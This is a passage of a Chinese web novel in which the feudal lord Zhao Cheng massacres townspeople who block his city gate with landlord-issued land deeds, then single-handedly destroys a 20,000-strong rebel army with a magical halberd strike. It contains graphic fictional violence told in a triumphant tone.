他赵诚再狠,也不敢对自己封地的子民下死手,投鼠忌器之下,他必不是我们的对手!”
可他这话,与其说是安慰别人,不如说是在给自己壮胆。
城墙下那股越来越近的压迫感,早已让他的心神乱了大半。
与此同时,在那如同惊雷滚地般的马蹄声中,城墙下原本还围着血衣军和官吏们嘶吼、扔石块的百姓,动作竟不约而同地顿住了。
他们手里的棍棒、石块“哗啦”一声掉在地上,一个个茫然地抬起头,循着马蹄声传来的方向望去,脸上的激愤和狂热如同被冷水浇过,瞬间消退了大半。
当赵诚那道如同险峰般的身影,连同身后跟着的数百名血衣骑一同出现在视野里时,所有百姓都是浑身一震,像是被无形的重锤砸中了心口。
之前被谣言煽动起来的那点勇气,那点想要“护田”的激愤,在这一刻被冲得烟消云散,只剩下源自本能的恐惧。
他们下意识地向后退去,人群如同被风吹动的麦浪般,齐刷刷地向后缩了数步,连大气都不敢喘一口。
第266章 田契凝心聚民气,敛煞临城诱敌出
要知道,之前在不是“必死”的情况下,仅仅十几名血衣军,就能靠着身上的煞气镇住他们一时。
如今赵诚本人亲自出现,那股从尸山血海里杀出来的煞气,比十几名血衣军加起来还要浓烈百倍。
寻常百姓只是看他一眼,就觉得那股煞气像刀子一样刮过皮肤,浑身发软,手脚都控制不住地发抖。
再加上他身后跟着的上千名血衣骑,人人身披染过血的盔甲,手持寒光凛冽的兵器,马蹄踏地的震动顺着地面传到脚边,仿佛连大地都在跟着颤抖。
这种滔天的杀意,这种凝聚了千军万马的凛冽军气,这种一往无前的悍勇冲势,就算是训练有素的铁军见了,尚且要心惊胆战、不敢与之抗衡。
何况是这些平日里只知耕作、从未见过如此阵仗的寻常百姓?
随着人群中第一个人腿软着向后退了半步,剩下的百姓像是找到了宣泄恐惧的出口,瞬间一哄而散,纷纷朝着城门的方向飞快退去,挤挤攘攘地贴在冰冷的城门上,用力拍打着门板。
各自嘶声喊着:“开门!快开门!让我们进去!”
可城门后的守军早已得了韩烈的吩咐,自然不能让他们就这么退缩。
一个嗓门洪亮的士兵扒着城门缝,朝着外面的百姓厉声大喝,“退什么退!
你们忘了自己要的是什么了?
那十亩良田不打算要了吗!?”
这句话如同一声惊雷,瞬间炸响在混乱的人群中。
所有百姓的动作都顿住了,拍门的手停在半空,脸上的恐惧渐渐被犹豫取代。
他们祖祖辈辈劳苦奔波,一辈子面朝黄土背朝天,图的不就是那几斗能填饱肚子的粮食,做梦都想拥有一块属于自己的良田吗?
之前那血屠赵诚说要分百亩田,他们心里本就犯嘀咕。
哪有这么好的事?
百亩田太多了,反倒显得不真实,更像是骗他们卖命的幌子,他们自然不肯干。
可眼下韩公子承诺的十亩良田,却是实打实的。
只要能撑过今天这一关,田契就能拿到手,以后再也不用看地主的脸色租田种,再也不用怕交不上租子饿肚子。
如今眼看着就要拿到田契,只差这临门一脚,怎么能因为赵诚来了就退缩?
百姓们互相看了看,发现身边密密麻麻站满了人,自己这边足足有数千人,比城外的秦军还要多上许多。
人数上的优势,让他们又悄悄生出了几分底气。
一个胆子稍大些的老农,攥着手里的锄头,朝着城门后喊道:“田我们自然想要!
可……可那田什么时候才能给我们?
别是哄我们的吧!”
他的话刚落,城门“吱呀”一声,从里面拉开了一道缝隙。
几名穿着短打的家丁模样的人,从缝隙里递出来一沓沓用麻线捆好的纸。
那是刚拟好的田契,纸上还带着墨迹的清香,最下方盖着列人城临时主事官员的朱红大印,清晰可见。
“各家都有!按户籍来领!报上名字,核对清楚就能拿田契!”
城门后的人高声喊道。
所有百姓的眼睛,在看到那一张张田契的瞬间,顿时亮到了极致,之前的恐惧和犹豫瞬间被狂喜取代。
他们再也顾不上害怕城外的赵诚,纷纷挤着、推着向前冲,伸出手去抢那沓能改变他们命运的田契。
“让让!让让!我叫牛红!我家的田契呢!”一个皮肤黝黑的汉子挤到最前面,声音里满是急切。
“在这呢!牛红!三亩在城东,七亩在河湾,你看看对不对!”
家丁递过一张田契,上面的字迹清清楚楚。
汉子接过田契,双手因为激动而微微颤抖,他反复摩挲着纸上的印章,又凑到眼前仔细看了几遍,突然哈哈大笑起来。
“是真的!这田契是真的哩!有县令大人盖的章!错不了!”
不远处,一个穿着补丁衣服的少年,举着手里的田契,朝着人群外的老父亲大喊:“爹!爹!老刘家有田了!十亩!
足足十亩啊!以后咱们再也不用租王地主的田了!”
那老父亲快步跑过来,接过田契看了一眼,浑浊的眼睛里瞬间蓄满了泪水,抹了把脸,哽
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咽着说:“哈哈哈哈!好!好啊!
儿子,咱家也有田了!是咱们自己的田!”
人群里,有人抱着田契,蹲在地上失声痛哭,嘴里反复念叨着:“有饭吃了,终于有饭吃啦!”
还有一对年轻男女,男子手里攥着两张田契,递给女子一张,红着脸说,“你看,咱们两家都有田了。等明年秋天收了麦子,我就去你家提亲,到时候……就能娶你了!”
女子接过田契,脸颊通红,却用力点了点头。
在这一刻,城外那股迫人的气势,似乎都被这一张张田契带来的喜悦,彻底压了下去。
百姓们紧攥着手中实打实的田契,总算又提了些心气。
虽仍不敢直面疾驰而来的血衣军,脚步却不再后退,反倒缓缓向前涌动。
有人甚至大着胆子抬头,望向血衣军最前方的身影。
那道在列人城传闻里青面獠牙、无恶不作的恐怖存在,曾让无数百姓夜半从噩梦中惊醒。
马蹄声如雷鸣,卷起漫天烟尘,眨眼间,那道身影的细节便清晰映入众人眼帘。
眼前景象,让所有人都愣在原地。
却见当先一人,身着大秦武威君专属的墨黑君袍。
袍身绣着暗金流云纹,贵气威严。
领口与袖口用银线缝出狰狞兽首,獠牙露尖,透着杀伐之气。
再看其人容貌。
面如冠玉,眉似开锋,鼻若金枪,眸有血海,身似险峰,脊若金梁!
这模样,与众人脑补的“魔头”形象相去甚远。
若忽略那扑面而来的恐怖威势与霸烈煞气,此人的样貌气度,实在与“魔头”二字沾不上半点边。
而另一边,赵诚见事态控制下来了,将身上的煞气敛藏起来了一些,不至于压得百姓们崩溃。
他的目光扫了一眼城头之上,并不急着处理这些百姓。
而是打算将背后那些**的主事引蛇出洞,等他们带兵出来,正好一块杀了。
一方面排除隐患,一方面立威,另一方面便是杀敌夺寿,补充一下系统寿命。
等一个一箭三雕……
第267章 数息警意明田事,顽民恃契堵城门
千余血衣军令行禁止,呈方阵伫立在城门前,鸦雀无声。
没有半个人多余动作,只有无边的肃杀与凛冽笼罩全场,连周遭的空气都似被压得凝滞,让这方天地平添了几分沉重威压。
赵诚只是淡淡环视一周,底下无数百姓便下意识地往后退,甚至有人腿一软,直直跪在了地上。
“吾乃大秦武威君,列人城是吾之封地。
吾欲在此推行新政,按户分田,汝等为何阻挠?”
他的声音不算严厉,却带着一股无人敢质疑的威严,再加上先前“魔头”的传闻打底,百姓们顿时噤若寒蝉,竟无一人敢应声。
城墙上,韩烈见状急得脑门冒冷汗。
这群愚民,关键时刻竟如此靠不住!
不过一个照面,就被“血屠”吓破了胆!
好在就在这时,人群里有个老者颤颤巍巍地站了起来。
他须发全白,贴在干枯的脸颊旁,肤色黝黑粗糙,满是岁月刻下的褶皱,身形佝偻得厉害,仿佛随时会栽倒,脸上布满褐色老人斑,走一步就要扶着腰喘上几口,一看便知已是风烛残年,没多少日子可活,故而也不惧死。
老者喘着粗气,慢慢挪到百姓最前方,而后艰难地挺了挺脊梁,抬眼直视赵诚,声音沙哑,“武威君……列人城的田地,列人城自有处置法子,不、不劳您费心。”
赵诚挑了挑眉,语气平淡:“老人家,且不论列人城的所有田地,本就归吾所有,单说‘列人城自己的处置方式’,又是什么?”
老人突然笑了,笑容里带着几分满足与欣慰。
他抬起手,晃了晃手中的田契:“家家户户都能分到十亩好田,我们……有地可种了。”
赵诚又添了几分好奇:“这城是我的,地是我的。
我说要给百姓分百亩,倒是说说,是谁给你们分的十亩?
他们说的话,作数吗?”
老人点了点头,又重重喘了口气,手指紧紧攥着田契,“自然作数!这地本就是列人城的,是地主的,是李老爷的……
以后……”
他又晃了晃手中的纸,声音添了几分底气,“以后就是我们自己的了。”
说着,他还伸手指向田契上的红印,一字一顿:“有、有印为证,假不了!”
赵诚闻言,摇头失笑,“你可知,如今列人城的县令都是临时的?”
他顿了顿,语气添了几分冷意,“吾尚未更换此地县令,那官本就是暂留的,只负责配合交接事宜,他的印信,又如何作数?”
然而听到他的话,所有百姓顿时更有敌意,他们好不容易得到了这田契,捧着这田契,就像是捧着命根子一样,现在赵诚说是假的,就像是要强行戳破他们的美梦一样,让他们无法接受。
“怎么就是假的了,许县令一直都是我列人城的县令!”
“就算改朝换代,这官印也得作数!”
“我这是李老爷给的,只要李老爷不反悔,就算是县令换了,这田契也作数!”
赵诚不置可否,又问道,“十亩比百亩更多?”
“百亩是多……”老人脸色沉寂了一些,“就怕百亩有命拿没命种啊。”
赵诚说道,“若是有命种,还能一直种呢?”
老者摇头叹息般笑道,“哪有这种好事。”
“怎么没有,秦国上下,都是这种好事!”
赵诚正色道,“我今天要给你们百亩好田种,你们不种反而抱着那十亩不撒手,未免可笑!”
“再给你们一次机会,若是百亩不要,以后这十亩都未必有,可别怪我没给你们说明白!”
他坐在马上,俯瞰群民,“现在,给你们十息时间,要田的,站到一边去。”
“不想要的,抱着你们的假田契,就拦在城门前。”
“这田你们不种,自有老秦人来种!”
说着,赵诚抬戟上撩!
轰隆一声!
大地瞬间开裂,自他一侧蔓延至百丈之外,深达数尺,罡风席卷,飞沙走石。
一时有若天威降临,震慑众人心胆具颤。
看着那百丈的地裂,百姓们吓得扑通扑通跪了一地,心惊胆战,鬼哭狼嚎,既怕又舍不得这
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到手的十亩良田。
有人瞄着赵诚的脸色,回想着那些豪绅老爷们和他们说的话——他们是列人城的百姓,赵诚是新封君,他要稳住民政,就不能肆意**列人城本身的百姓,不会杀他们的,也不能杀他们!
若真是要杀他们,他们还有故赵旧部给他们撑腰。
大不了就一起反了,把事情闹大,把这新任武威君熬走,拼也要把这田拼到手。
心中死死抱住那一丝侥幸,就像是抓住一缕救命稻草。
立刻有**声呼喊道。
“果然是血屠魔头,连自己封地之下的百姓都要杀!”
“终于露出本来面目了,他一开始就想杀掉咱们了,他要是动手,咱们就和他拼了!”
“让他进城,大家早晚都是一死,今天就是不让,看他如何!?”
“若是被邪术炼了,还不如就这样拼了,好歹死个痛快!”
“杀了吧!有本事就杀了我!”
“谢家的小子,你跑什么,你真是没种的孬蛋!”
“柳家的柱子,你今天让开了,以后你就不是列人城的人!”
“小王八蛋,给我滚回来!”
一群人鬼哭狼嚎,撒泼打滚,自己不让开就算了,看见别人丢了田契让到一旁去,那也是不允许,立刻开始叱骂逼迫,直接否定了他们列人城百姓的身份,好似自己才是列人城的主人。
赵诚淡淡笑着看着这一幕,只是一味的数着,“三……”
“二……”
“一。”
随着声音落下,有三成的列人城百姓让开到一旁了,但大部分也是臊眉耷眼,好似做了什么丢人的事情。
只有一成左右的人理直气壮与那些撒泼百姓对骂。
“我看你们才是糊涂了,那些豪绅哪来的田,不过是剥削欺压我们拿来的田,现如今还给你们一部分,你们就给他们当狗,给他们卖命!”
“我二叔就在武安城,你们在城里造谣时候我就说过,武威君是好人,是来给大伙真分田的,你们不信,去信什么县令和地主老爷?真是猪油蒙了心!”
第268章 阎罗点名勾生死,血锋冲城尽屠之
“不过是替武威君说句公道话,你们就往我家门口泼大粪、扔烂菜!今天就算武威君把你们全杀了,也是你们自找的!”
“你们真以为拦的是谁?那是带着一万人打下全赵国的猛人!就凭那几个缩在后面的豪绅,也配搅风搅雨?”
“一群被人当枪使的炮灰罢了!”
“分百亩还是分十亩,咱村头的二傻子都知道选哪个!”
可这几声清醒的呼喊,在汹涌的人潮里终究势单力薄。
话音刚落,就被大部分人愤怒的咒骂声吞没。
那些被豪绅蛊惑的百姓,早已将“武威君”当成了要抢他们田地的敌人,哪里听得进半句劝。
“时间到了。”
赵诚的声音不高,却像一道惊雷划破喧闹。
他缓缓抬眸,目光扫过前方乌泱泱的百姓,阴阳术的摄魂之力骤然铺开,如泰山压顶般罩向全场。
刹那间,所有百姓都像被一只无形的巨手扼住了灵魂。
明明眼前没有任何东西,却偏生觉得有遮天蔽日的凶兽朝自己扑来,脑袋“嗡”的一声炸响,眼前阵阵发黑,喉咙里像堵了团棉花,半个字都吐不出来。
刚才还吵嚷不休的场面,瞬间落针可闻。
赵诚抬手一抓,几道劲风卷过,几张攥在百姓手里的田契便轻飘飘落在他掌心。
他好整以暇地翻看着,指尖划过田契上的名字,声音沉静却穿透力极强:“李嵩何在?”
城墙上,正躲在垛口后偷看的李嵩浑身一僵,腿肚子发软,“噗通”一声坐倒在地。
他脸色惨白如纸,双手死死抓住身边韩烈的衣袖,声音发颤:“怎么办?他点我名字了!我、我要出去吗?”
韩烈被他抓得心烦,又气又急地低吼,“出去?你出去送死吗?
他点你你就应,把我们这些人当摆设?”
他顿了顿,眼神狠厉了几分,“不出去!有本事让他带兵进城来!”
李嵩这才像是抓住了救命稻草,连连点头:“对!对!你——”
他指着身边一个小厮,声音都在发抖,“去告诉他,我、我不在城里,出门了!”
那小厮脸色比李嵩还难看,脚像灌了铅似的挪不动步。
可主子的命令不敢违逆,只能硬着头皮,一步三挪地走出城门,隔着老远就扯着嗓子喊,“我家老爷不在城里,出门去了!”
赵诚闻言,不置可否地点了点头:“出城去了,好。”
见他没发作,小厮悄悄松了口气,看向赵诚的眼神里,不知不觉多了几分轻视。
原来这传闻里的“魔头”,也不过如此。
城门前的百姓更是心头大定,侥幸的心理像泡发的面团般胀大。
“果然跟地主老爷说的一样,他不敢杀我们!”
“毕竟是封地的子民,他要是真杀了我们,秦王那边也没法交代!”
“肯定是想找地主老爷求和了!你看,他连一句重话都不敢说!”
“这么说,这田契是真的?那些良田真成我们的了?”
窃窃私语声在人群里蔓延,原本的畏惧渐渐消散,取而代之的是有恃无恐的笃定。
赵诚仿佛没听见这些议论,依旧面如平湖,继续点名,“王仲何在?”
城墙上的王仲被这声点名吓得一哆嗦,双手死死攥着,指节都泛了青白。
他哪里敢露头,慌忙摆了摆手,让身边的小厮赶紧回话:“我家老爷也出门了,不在城里!”
赵诚依旧没什么反应,只是将田契上“王仲”的名字圈了圈。
百姓们见状,愈发轻松,有人甚至忍不住笑出了声。
你看,这武威君又吃了闭门羹!
“还以为多厉害呢,连地主老爷的面都见不着!”
“就是,老爷们不发话,他连城门都不敢进!”
“这哪是来当封君的,分明是来求着老爷们认他的!”
他们自以为看透了“真相”,腰杆都挺得更直了。
在他们眼里,遥远的“武威君”远不如每天抬头不见低头见的地主老爷可怕。
那些老爷才是真正能决定他们生死的“天”。
赵诚的目光继续落在田契上,声音依旧平稳,“韩烈何在?”
城墙上的韩烈心里咯噔一下。
他原本还想着,等赵诚再逼得紧些,自己就露头跟他对峙几句,用“百姓意愿”压一压这“血屠”的气焰。
可真当名字被
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点到的那一刻,他才发现,心底的畏惧远比想象中更重。
最终,他还是咬了咬牙,朝身边的小厮挥了挥手。
“我家老爷也出城去了。”
小厮的回话,与前两人如出一辙。
“也出城去了,很好。”
赵诚淡淡应着,继续照着田契上的名字挨个点下去。
结果毫无意外。
所有被点到名的地主,都“恰巧”出门了,没有一个在城里。
到最后,百姓群里的哄笑声越来越大,看向赵诚的眼神里满是戏谑。
有人甚至故意提高声音喊:“武威君!要不您再等等?说不定老爷们傍晚就回来了!”
他们哪里知道,赵诚手中那几张薄薄的田契,早已成了索命的生死簿。
而田契上那些被点到的名字,每一个都是催命的符咒。
原本赵诚还打算进城后慢慢调查,找出这些阻挠新政的地主一一清算。
如今倒好,这些人主动把名字送上门来,反倒省了他不少功夫。
赵诚将田契叠好,递给身边的亲卫,而后缓缓抬起手,声音依旧清朗,却带着彻骨的寒意:“出没出城,进去找找就知道了。”
“杀进去!”
“拦路者,一个不留!”
“尽屠之!”
“尽屠之……”
这三个字像凛冽的寒风,在列人城下缓缓回荡,刮过每个人的心扉,让在场百姓的笑声瞬间僵在脸上,连灵魂都似要被冻结。
话音落下的刹那,千余血衣军骤然变了模样!
原本收敛的滔天煞气轰然爆发,如海啸般滚滚席卷,朝着列人城猛冲而去,似要将整座城池都吞没。
若说之前的血衣军是藏锋的宝剑,那此刻,便是出鞘的凶刃,锋芒毕露,杀气冲天。
军阵中没有半分杂乱的声响,只有整齐划一的脚步声。
千余人如同一个整体,瞬间提速,以奔雷之势朝着城门冲去。他们的目光扫过拦在身前的百姓,没有半分犹豫,只有浓得化不开的杀意。
在君上下令之前,这些人是君上的子民,他们不能动。
可君上的命令一旦落下,眼前的拦路者,便只是“敌人”而已,该杀!
第269章 令下血锋屠顽民,燃箭逆谋召旧部
城墙上的韩烈瞳孔骤缩,呼吸瞬间停滞。
他原本以为,之前赵诚展露的气势已是血衣军的全部,不过是想给自己一个下马威。
可直到此刻他才明白,之前那恐怖的军威,竟然只是血衣军收敛后的模样!
“不对劲……太不对劲了!”
韩烈的心脏狂跳,冷汗顺着脊梁往下淌,“这到底是什么队伍?
我找的那些旧部,真能打得过他们?”
一股强烈的不祥预感在他心底蔓延,可很快,他又强行镇定下来.
城门外还有列人城近七成的百姓,赵诚就算再狠,也不敢真的对这么多子民动手!
他一定是在吓唬人,想逼百姓让开道路!
不止韩烈这么想,下方的百姓大多也抱着同样的念头。
他们之前见赵诚对地主“妥协”,本就认定了他不敢轻易动粗.
如今听到“尽屠之”,只当是虚张声势。
再加上他们不敢直视血衣军,没注意到那些士兵眼中的杀意,依旧在原地叫嚷撒泼。
“尽屠之?果然是魔头!这是要屠城啊!”
“我就知道,他根本不是为了百姓!就是想抢我们的田地,杀我们的人!”
“这样的人怎么配当列人城的封君?一上任就想屠城,秦王真是糊涂啊!”
“别以为你们是军队我们就怕了!列人城有老爷们护着,你们敢动我们一根手指头试试……”
嗤!
一声尖锐的利刃入肉声,骤然划破了喧闹。
说话的人突然感觉一股热流洒在了脸上,他话头一停,一脸茫然的摸了一把脸,却是一手的猩红鲜血!
他心中咯噔一下,扭头一看,一名同伴已经身首异处。
而那雷鸣般的马蹄眨眼之间,已经到了近前。
当下整个人傻住,茫然看着寒芒闪过,而后眼前黑掉。
诸多后方的百姓也惊觉不对,这马蹄声太急太重,几乎踩到头上来了。
他们抬头一看,只看到一片血光,杀气如潮。
尸体和鲜血……
许多百姓瞬间浑身冰凉,再被那滚滚杀气一冲,当时吓得脸色大变,屎尿齐出。
更有甚者眼前一黑,吓晕了过去。
反应快一点的,紧跑两步,扑到了一边。
反应慢一点的,就这么晕倒在了铁蹄之下,被无所顾忌的踩成肉泥。
“口口声声喊我魔头血屠,你们也没把血屠当回事啊……”
赵诚施施然随队伍前行,鲜血宛若为他铺就得红毯,迎他入城……
直到死到临头,这些列人城的百姓才终于收起了之前的侥幸心理和有恃无恐,不再高喊“魔头”。
而是扑通一声跪倒在地,拼命朝着赵诚的方向磕头,声音里满是绝望的哀求。
“武威君,饶命啊!我们是你的子民啊!”
“君上,我们一时糊涂,被人蛊惑了,放过我们吧!”
“君上,求您开恩……啊!”
最后的求饶声被利刃入肉的声音打断,赵诚却对这一切视若无睹,连余光都懒得给那些跪地的人。
机会早就给过他们了。
当初他问谁在阻挠新政,他们沉默。
他点名找地主,他们还在侥幸。
是他们自己没把握住,既然选择了站在他的对立面,那就该有赴死的觉悟。
他坐在马上,不疾不徐地朝着城门内行进,目光却始终落在城头,嘴角勾起一抹冷冽的弧度。
他在等,等城头上的人忍不住,把那些藏在暗处的赵军旧部,主动送到他眼前来杀。
此时的城墙之上,早已没了半分之前的镇定,豪绅贵族们像没头的苍蝇般乱作一团。
李嵩脸色惨白如纸,浑身抖得像筛糠,连站都站不稳,全靠身边的家仆扶着才没瘫倒在地。
他眼神涣散,嘴里反复念叨着:“糟了糟了!他真的开始杀百姓了!那可是列人城近半的百姓啊!他说杀就杀,根本毫无顾忌!”
王仲更是发了疯似的冲到韩烈面前,一把揪住他的脖领子,指甲几乎嵌进韩烈的肉里,双眼布满血丝,声音嘶哑得像被砂纸磨过,“怎么会这样?韩烈!你不是说他一定会有所顾忌吗?你管这个叫做有所顾忌?!”
更有人绝望地靠在城墙上,面如死灰,声音里满是崩溃,“这是个疯子!他根本就不在乎百姓,也不在乎什么封地!
我们用百姓的命根本要挟不了他!”
“他连自己封地的子民都敢屠,我们要是落到他手里,只有死路一条!”
“怎会如此?他真就一点不顾及秦王的想法吗?这封地可是他打下赵国全境才换来的啊!他怎么敢这么肆无忌惮?”
韩烈双眸失神,整个人僵在原地,无论如何都接受不了眼前的结果。
在他的认知里,无论是名将还是枭雄,好不容易获得
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如此大的军功、得到封君的恩宠,定会殚精竭虑地治理封地,半点错误都不敢犯。
毕竟这是多少人求都求不来的荣耀。
可赵诚倒好,几乎没有半分犹豫,就直接下令**所有拦路的百姓,仿佛这些人的性命在他眼里,不过是路边的野草,拔了就拔了,根本无足轻重。
韩烈一直以来的胸有成竹和从容不迫,在这一刻彻底崩塌,取而代之的是深入骨髓的茫然和不知所措。
这样愣怔了片刻,他猛地甩开头脑中的混乱,眼底闪过一丝孤注一掷的狠劲,咬牙道,“不管如何,他也不过带了一千多人而已!”
“既然他敢**百姓,那百姓奋起反击就是合情合理!”
“发信号,让赵齐动手!”
对韩烈来说,他要对付的从来都不是秦国,而是赵诚。
只要能把“百姓反击”的名头坐实,就算杀了赵诚,秦国也没法怪罪。
毕竟是赵诚先**百姓,有错在先。
咻!
一支燃烧的火箭划破长空,精准地落在城外的草垛上。
干燥的草垛瞬间燃起熊熊大火,滚滚黑烟直冲云霄,在天际划出一道醒目的信号。
列人城附近的山脉中,盔甲碰撞的清脆声响、马蹄焦躁踏地的沉闷声响交织在一起,空气中弥漫着剑拔**张的凝重。
仿佛一张拉到极致的弓,只等着箭离弦的那一刻。
一名斥候快步跑到赵齐面前,单膝跪地,声音带着几分兴奋,“将军,探查清楚了!这一次赵诚只带了一千多人来,方圆几十里内,连半个伏兵的影子都没有!”
赵齐闻言,嘴角扬起一抹讥讽的笑意,手中的长戈在地上一顿,发出“咚”的一声闷响,“才一千多人,还真是托大啊!
莫不是以为赵国亡了,就没有能治他的人了?
真把这列人城当成他的囊中之物了?”
他转身看向身后的士兵,声音陡然提高,满是煽动性,“兄弟们!赵诚这竖子,靠着秦国的势力欺压我赵国遗民,双手沾满了我们同胞的血!
今日咱们就替天行道,斩了他!复国大业,就从今日开始!”
“斩赵诚!复赵国!”
“斩赵诚!复赵国!”
士兵们瞬间沸腾起来,甲胄碰撞声里混着粗重的呼吸,眼中满是战意。
因**而压抑了许久的怒火,在这一刻彻底被点燃。
第270章 独骑破阵挥瀚海,血衣屠城剿逆军
这群即将迎战的赵军士兵,从未与赵诚正面交锋过。
他们本是赵国精锐,只是镇守之地不在赵诚北上的路线上,故而从未见识过血衣军的恐怖战力。
后来赵国全境陷落,大势已去,他们只能跟着赵齐辗转藏匿,满心都盼着能寻到复国的机会。
对于“血衣军”的赫赫声名,他们打心底里存着质疑。
不过是一支秦**队,哪能真如传闻中那般神乎其神?
如今见赵诚只带一千多血衣军就敢闯列人城,更是觉得他像个自投罗网的呆头鹅。
要知道,他们足足有近三万人马!
一部分藏在列人城内外,在豪绅贵族的配合下早布好了天罗地网。
另一部分则埋伏在城外山脉中,只等信号一响便内外夹击。
别说区区一千血衣军,就算来了一万,今天也得葬身于此。
赵齐正按捺不住焦躁时,列人城方向突然升起一道冲天黑烟。
那是约定好的信号!
他眼睛瞬间亮了,握紧手中**高声喝道,“是时候了!兄弟们,随我杀过去,斩了赵诚!”
轰隆隆的马蹄声瞬间冲破山脉的寂静,骑兵如离弦之箭般朝着列人城疾驰,身后的步兵方阵紧随其后,步伐整齐如雷。
远远望去,这支大军就像一片遮天蔽日的黑云,带着碾压一切的气势朝列人城压来。
几乎是同一时间,列人城内也响起了整齐的脚步声与甲胄碰撞声。
韩烈混在队伍中,站在副将身旁,扯着嗓子煽动,“什么狗屁武威君!刚到就敢屠城,把我列人城百姓当鱼肉宰割!
今日我们就反抗**,杀了这魔头,还列人城一个朗朗乾坤!”
一句话,就让这上万兵马成了“自发反抗的百姓义军”。
先前面对血衣军冲锋时,列人城百姓还在惊慌失措地四散奔逃。
如今见城内大军一望无际,城外又有黑云般的兵马压来,顿时像抓住了救命稻草,心头大定。
“太好了!我们有救了!”
“秦国的封君哪里把我们赵人当子民?只有咱们赵国自己的军队,才会为我们撑腰!”
“这魔头敢屠城,咱们跟他拼了!现在大军来了,看他还怎么嚣张!”
“杀!不能让军爷们孤军奋战,我们也上!”
百姓们望着大军锃亮的盔甲与锋利的兵器,底气瞬间涌了上来。
再看那些血衣军,对比之下人数少得可怜,他们哪里还当回事?
只想着混在大军里报仇。
刚才被血衣军杀了亲友的、被吓得屁滚尿流的,此刻最是积极,有的甚至抄起镐头就想往最前面冲。
“血屠!你们现在想走也晚了!”
“敢欺辱我列人城百姓,就得有葬身的觉悟!”
“哈哈,你们完了!”
他们兴奋地盯着刚踏入城门的血衣军与赵诚,盼着能在对方脸上看到惊慌与恐惧。
可让他们失望的是,血衣军将士脸上没有丝毫惧色,反而写满了期待与兴奋。
“君上!有埋伏!咱们先杀城里的,还是先杀城外的?”
一名血衣军将领上前请示,语气里满是激动。
谁也没想到,随君上处理封地事务,还能撞上这么多反军,这可是实打实的军功!
赵诚脸上露出一丝平淡的笑意,眼底却藏着对对方人数的满意。
“你们去杀城里的,城外的我亲自来。”
以他如今的实力,若对城内动手,恐怕整座列人城都要毁于一旦,人口也剩不下多少,倒不如先解决城外的威胁。
下一秒,众人就看到赵诚一人一骑与千余血衣军分道扬镳,独自朝着城外那黑云般的大军迎去。
他手中倒提着丈二大戟,戟身在日光下流转着冷冽金辉,明明是孤身面对两万大军,气势却压过了对方的军阵。
赵齐远远望见一骑奔来,起初满是不屑:“不过是逞匹夫之勇!”
可随着赵诚越来越近,一股浓稠如墨的煞气骤然袭来,竟盖过了他两万精锐凝聚的军气!
赵齐心头一紧,惊疑不定:“这人……好重的煞气!
难道他想以一人之力对抗我两万大军?
简直无知又可笑!”
他的话还没说完,就见赵诚突然高举大戟。
下一秒,天地竟骤然变色!
风起云涌,原本晴朗的天空瞬间被乌云笼罩,狂风卷着沙尘呼啸而过,像是凭空
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掀起了怒海狂潮。
风变得沉重如铁,沙尘化作锋利的尖刀,连天上的云彩都成了层层叠叠的浪涛,朝着两万大军的方向压来。
“哕——!”
两万大军的冲势瞬间停滞,无数战马人立而起,嘶鸣着不肯前进,原本整齐的阵型瞬间变得混乱不堪。
赵齐瞪大了眼睛,死死盯着远处那道身影,以及他手中大戟卷起的莫大气象,声音发颤:“这……这是什么!?”
一戟出而天地变色,这种事他连听都没听过!
轰!
就在这时,赵诚手中的大戟猛地向前劈出!
无边风云、漫天沙尘瞬间化作滔**潮,朝着两万兵马席卷而去!
这是脱胎于剑庐传承的戟法——瀚海怒潮!
赵诚只用了一成力量,却已引得天地震颤。
如海般的真元化作怒浪罡风,铺天盖地地压来,仿佛天空真有一片**决堤,倒悬而下的巨浪带着天灾般的威势,让直面这股力量的人瞬间陷入绝望。
“是海啸!天上怎么会有海啸?”
“不对!那是罡风!还有沙尘!”
混乱的惊呼声中,一朵小小的浪花率先冲到军阵前。
领兵在前的赵齐见状,咬牙挥剑劈去,嘴里还骂着:“小小浪花……”
噗!
话音未落,那朵看似微弱的浪花骤然炸开,无数锋利的气劲瞬间将赵齐包裹。
这位自视甚高的赵军将领,连惨叫都没发出一声,就被切割成了一片血肉碎泥,随后被怒浪卷走,连痕迹都没留下。
两万士兵彻底傻了眼。
仅仅一朵浪花,就杀了他们的将军?那后面层层叠叠的怒海狂潮,又该有何等恐怖的威力?
“完了……这次真的完了!”
没人再敢反抗,可悔意来得太晚。
瀚海怒潮在一瞬间倾轧而下,轰隆声震耳欲聋,所过之处摧枯拉朽。
两万兵马就像落入大海的尘埃,在怒浪中层层崩坏、湮灭,没有一人能抵挡哪怕一息。
直到怒潮退去,天地渐渐恢复清明,城外只剩下满地血迹与狼藉。
【你击杀两万一千三百敌军,夺取寿命:五十三万一千三百八十年】
第271章 神戟破阵惊天下,满城皆惧血衣君
风云骤变,狂沙卷着碎石漫天飞舞,原本还算明朗的天空在一瞬间被暗沉吞噬。
紧接着,一声震耳欲聋的轰然巨响炸开,列人城的城墙都跟着剧烈震颤,墙砖簌簌往下掉灰,街道上的尘土被震得腾空而起,连城中百姓脚下的地面都在发颤。
列人城内外,无论是城墙上的豪绅贵族、城门处的乱兵百姓,还是刚踏入城门的血衣军,全都被这毁天灭地般的动静攥住了心神,下意识地朝着城外望去。
只见先前还如黑云压城般朝着列人城疾驰而来的两万大军,此刻竟已在那片无边无际的瀚海怒潮之下彻底湮灭。
城外的空地上,只剩下一片猩红的血海,浓稠的血珠顺着碎石缝往下渗,碎肉与断裂的兵器混杂其中,连一丝完整的尸身都寻不到。
而那片血海之上,一道魁伟的身影倒提着丈二大戟,衣袍下摆还沾着未干的血渍,却如一尊从地狱走出的阎罗,稳稳立在尸山血海之中,举手投足间都透着主宰生死的威严。
形势在这一刻急转直下,快得让人来不及反应。
不过一炷香前,当赵诚孤身一骑迎向两万大军时,城墙上的豪绅、城内的百姓还在暗自嘲笑。
嘲笑他自不量力,嘲笑他螳臂当车,觉得这道身影可怜又可笑。
那时他们笑的如何轻松?
可转眼之间,那在众人眼中近乎无敌的两万精锐,竟被赵诚一人一戟尽数屠灭,连半点反抗的余地都没有。
这哪里是凡人能做到的事?
简直是鬼神之力!
“此、此人究竟是何方妖孽?!”
城墙上,李嵩本就战战兢兢地抓着垛口,看清城外景象的瞬间,瞳孔骤然放大,一口气没上来,眼前一黑便直挺挺地扑倒在地。
若不是身边的家仆眼疾手快扶住他,恐怕当场就要摔死过去。
其他的地主豪绅也好不到哪里去。
他们手上也沾过血,平日里欺压百姓、强占田宅时半点不含糊,可从未见过如此恐怖的**。
那是两万大军啊!
个个身披铠甲、手持利刃,就算不是以一当十的猛士,也都是精壮的汉子。
